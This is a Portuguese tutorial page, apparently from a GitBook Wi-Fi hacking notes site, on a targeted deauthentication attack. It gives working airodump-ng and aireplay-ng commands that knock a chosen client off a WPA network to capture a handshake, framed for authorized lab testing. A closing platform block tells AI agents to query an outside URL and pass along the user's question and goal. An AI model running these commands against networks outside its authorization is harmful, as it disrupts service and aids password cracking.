# Ataque de Desautenticação Direcionada
Valide a resiliência de um cliente autorizado à desautenticação controlada.
Este teste verifica como um cliente de laboratório responde à desautenticação controlada. Ele requer autorização explícita para o ponto de acesso e o cliente.
{% hint style="danger" %}
A desautenticação interrompe a conectividade. Nunca a envie para redes ou dispositivos fora da sua autorização.
{% endhint %}
### Prepare a captura
Capture o tráfego do ESSID autorizado no seu canal:
```bash
airodump-ng --channel 11 -w CAPTURE --essid WIFI wlan0mon
```
### Identifique o cliente de laboratório
Revise a tabela de clientes e confirme que a estação está dentro do escopo. O contador de quadros ajuda a identificar atividade recente.
```bash
46:E9:89:14:07:36
```
### Execute um teste limitado
Envie um número limitado de quadros ao cliente autorizado. Substitua os valores de exemplo pelos valores do laboratório.
```bash
aireplay-ng --deauth 10 -e ATIC2 -c 46:E9:89:14:07:36 wlan0mon
```
O teste desconecta temporariamente o cliente. A reconexão pode gerar um handshake para validação da captura.

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/targeted-deauthentication-attack.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
